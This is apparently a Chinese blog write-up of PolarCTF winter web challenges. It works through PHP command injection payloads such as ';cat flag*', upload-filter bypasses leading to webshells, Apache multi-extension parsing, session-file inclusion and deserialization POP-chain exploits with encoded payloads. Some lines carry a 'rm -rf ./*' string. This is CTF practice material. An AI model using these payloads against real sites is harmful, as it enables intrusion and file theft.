完工,最后CB链没时间打了,估计也不怎么打得出来,今天一边在打polar一边弄服务外包赛,好累呜呜呜。
Polar 冬 干正则(WEB)
直接给了源码
parse_str()
:将字符串解析成多个变量
payload:
?id=a[]=www.polarctf.com&cmd=;cat%20flag*
Polar 冬 upload(WEB)
开题
源码里面发现hint
得到源码如下:
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
str_ireplace()
:替换字符串中的一些字符(不区分大小写)。双写即可绕过。
直接getshell就行。
Polar 冬 cookie欺骗(WEB)
伪造一下Cookie就行
Polar 冬 随机值(WEB)
直接给了源码
要满足两个随机值,可以暴力爆破,发包10000次应该够了。我们按题目预期来,使用变量引用来做这题。
PHP7,类型不敏感,类中属性可以全换为public。
秒了。
EXP:
php
<?php
class Index{
public $Polar1;
public $Polar2;
public $Night;
public $Light;
function getflag($flag){
$Polar2 = rand(0,100);
if($this->Polar1 === $this->Polar2){
$Light = rand(0,100);
if($this->Night === $this->Light){
echo $flag;
}
}
else{
echo "Your wrong!!!";
}
}
}
$a=new Index();
$a->Polar1=&$a->Polar2;
$a->Night=&$a->Light;
echo serialize($a);
Polar 冬 你想逃也逃不掉(WEB)
直接给了源码
反序列化之字符串逃逸。
EXP:
php
<?php
function filter($string){
return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = 'phtmlphtmlphtmlphtml';
$user['passwd'] = ';s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}';
$user['sign'] = '123456';
#a:3:{s:8:"username";s:5:"Jay17";s:6:"passwd";s:0:"";s:4:"sign";s:6:"123456";}
echo serialize($user);//初始
echo "\n";
echo filter(serialize($user));//过滤字符后
$ans = filter(serialize($user));
if(unserialize($ans)[sign] == "ytyyds"){
echo "\nJay17";
}
payload:
GET:?passwd=%3Bs%3A6%3A%22passwd%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22sign%22%3Bs%3A6%3A%22ytyyds%22%3B%7D
POST:name=phtmlphtmlphtmlphtml
Polar 冬 ezphp(WEB)
开题,爬虫相关,想到robots.txt
文件
访问robots.txt
,获得三个路由
/uploads/upload.php
:文件上传功能
/file/file.php
:文件包含功能
文件包含读取upload.php
文件内容:
php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Upload</title>
</head>
<body>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// 检查文件是否上传成功
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
// 定义允许上传的文件类型
$allowed_extensions = array("jpg", "jpeg", "png", "gif");
// 获取上传文件的文件名和扩展名
$filename = $_FILES['file']['name'];
$file_extension = pathinfo($filename, PATHINFO_EXTENSION);
// 检查文件扩展名是否在允许的列表中
if (in_array(strtolower($file_extension), $allowed_extensions)) {
// 确定存储上传文件的目录
$upload_directory = './images/';
// 确保目录存在,如果不存在则创建
if (!is_dir($upload_directory)) {
mkdir($upload_directory, 0777, true);
}
// 构造上传文件的完整路径
$upload_path = $upload_directory . $filename;
// 移动文件到指定目录
if (move_uploaded_file($_FILES['file']['tmp_name'], $upload_path)) {
echo '<p>文件上传成功!</p>';
} else {
echo '<p>文件上传失败。</p>';
}
} else {
echo '<p>不允许上传该类型的文件。</p>';
}
} else {
echo '<p>文件上传失败。</p>';
}
}
?>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">选择文件:</label>
<input type="file" name="file" id="file" accept=".jpg, .jpeg, .png, .gif" required>
<br>
<input type="submit" value="上传文件">
</form>
</body>
</html>
文件后缀是白名单,难绕过,一般白名单的文件上传都是要结合其他漏洞。有文件包含,那就结合文件包含。
有文件包含,所以后缀不用管,包含文件内容,就算jpg都能把马包含进来。
直接包含
看源码,目录是,/uploads/images/xxx.xxx
。
/file/file.php
文件包含getshell。
Polar 冬 你的马呢?(WEB)
开题:(注意URL,可能会存在文件包含)
还真存在文件包含
upload.php
php
<?php
if(isset($_FILES['upfile'])){
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
$ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);
//检查文件内容
$text = file_get_contents($_FILES['upfile']['tmp_name']);
echo $ext;
//检查文件后缀
if (!preg_match("/ph.|htaccess/i", $ext)){
if(preg_match("/<\?php/i", $text)){
echo "嘿嘿嘿,想传马?不可能!<br>";
}
else{
move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);
echo "恭喜你,上传路径<br>路径为:" . $uploadfile . "<br>";
}
}
else {
echo "恶意后缀,试试.jsp呢?<br>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>上传文件</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
千万别上传php脚本!!!!
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="file" name="upfile" value="" />
<input type="submit" name="submit" value="提交" />
</form>
</body>
</html>
文件上传功能过滤php、htaccess后缀,过滤文件内容<?php
。看似山穷水尽,仔细一看发现存在apache解析漏洞。
AddHandler导致的Apache解析漏洞
如果服务器给.php后缀添加了处理器:
AddHandler application/x-httpd-php.php那么,在有多个后缀的情况下,只要包含.php后缀的文件就会被识别出php文件进行解析,不需要是最后一个后缀。如shell.php.jpg中包含.php,所以解析为php文件
利用:
1、1.php.jpg
2、1.php.txt
影响范围:2.4.0-2.4.29版本
getsgell
Polar 冬 苦海(WEB)【】
反序列化+文件包含,难的是找flag。
链子如下:
User::__wakeup()->User::printName()->Surrender::__toString()->FileRobot::__get()->FileRobot::__invoke()->FileRobot::Get_file()
给个EXP:
php
删库跑路,蹲监狱~ <?php
/*
PolarD&N CTF
*/
error_reporting(1);
class User
{
public $name = 'PolarNight';
public $flag = 'syst3m("rm -rf ./*");';
public function __construct()
{
echo "删库跑路,蹲监狱~";
}
public function printName()
{
echo $this->name;
return 'ok';
}
public function __wakeup()
{
echo "hi, Welcome to Polar D&N ~ ";
$this->printName();
}
public function __get($cc)
{
echo "give you flag : " . $this->flag;
}
}
class Surrender
{
private $phone = 110;
public $promise = '遵纪守法,好公民~';
public function __construct()
{
$this->promise = '苦海无涯,回头是岸!';
return $this->promise;
}
public function __toString()
{
return $this->file['filename']->content['title'];
}
}
class FileRobot
{
public $filename = 'flag.php';
public $path;
public function __get($name)
{
$function = $this->path;
return $function();
}
public function Get_file($file)
{
$hint = base64_encode(file_get_contents($file));
echo $hint;
}
public function __invoke()
{
$content = $this->Get_file($this->filename);
echo $content;
}
}
//User::__wakeup()->User::printName()->Surrender::__toString()->FileRobot::__get()->FileRobot::__invoke()->FileRobot::Get_file()
$a=new User();
$a->name=new Surrender();
$a->name->file['filename']=new FileRobot();
$a->name->content['title']='bucunzai';
$a->name->file['filename']->path=new FileRobot();
$a->name->file['filename']->path->filename='../flag.php';
echo urlencode(serialize($a));
//unserialize(serialize($a));
payload:
?user=O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A9%3A%22Surrender%22%3A4%3A%7Bs%3A16%3A%22%00Surrender%00phone%22%3Bi%3A110%3Bs%3A7%3A%22promise%22%3Bs%3A30%3A%22%E8%8B%A6%E6%B5%B7%E6%97%A0%E6%B6%AF%EF%BC%8C%E5%9B%9E%E5%A4%B4%E6%98%AF%E5%B2%B8%EF%BC%81%22%3Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22path%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22..%2Fflag.php%22%3Bs%3A4%3A%22path%22%3BN%3B%7D%7D%7Ds%3A7%3A%22content%22%3Ba%3A1%3A%7Bs%3A5%3A%22title%22%3Bs%3A8%3A%22bucunzai%22%3B%7D%7Ds%3A4%3A%22flag%22%3Bs%3A21%3A%22syst3m%28%22rm+-rf+.%2F%2A%22%29%3B%22%3B%7D
Polar 冬 safe_include(WEB)
直接给了源码:
open_basedir
:限制PHP访问文件的目录(读写),不限制命令执行的目录。
这里开启了session,我们可以使用session文件包含,而且session文件不会被清理。我们可以利用他来getshell。
在PHP中,使用$_SESSION[]可以存储特定用户的Session信息。并且每个用户的Session信息都是不同的。
当用户请求网站中任意一个页面时,若用户未建立Session对象,则服务器会自动为用户创建一个Session对象,它包含唯一的sessionID和其他Session变量,并保存在服务器内存中,不同用户的Session对象存着各自指定的信息。
利用Session变量存储信息:
$_SESSION["sessionID"]=变量或字符串信息;
读取Session变量信息(可赋值给一个变量或者直接输出):
变量=$_SESSION["sessionID"];
sessionID可以自己创造一个,比如jayjay。那么session文件名就是/tmp/sess_jayjay,里面存储了sessionID为jayjay的session变量信息。sessionID一般就是Cookie中PHPSESSID的值。当用户在Cookie中设置PHPSESSID=jayjay时,PHP就会生成一个文件/tmp/sess_jayjay,此时也就初始化了session。同时,这时候传参,参数值就自动被写入/tmp/sess_jayjay了。
这里我们可以读取Session变量信息,也可以存储Session变量信息,那我们就可以往里面放🐎,然后包含🐎,getshell。
存马到sess_Jay17
文件。
包含sess_Jay17
文件也就是包含马,getshell。
Polar 冬 phpurl(WEB)
附件:
在某次渗透测试中,红队使用网站目录探测工具发现网站源码泄漏,该文件名疑似名被加密:aW5kZXgucGhwcw。
aW5kZXgucGhwcw
base64解码后是index.phps
开题
访问/index.phps
路由。直接给了源码
很简单,xxs二次URL编码就行。
注意点:/index.phps
只是源码泄露,传参在/
路由。
Polar 冬 cool(WEB)
开题,直接给了源码
payload:
?a=echo `cat f*`;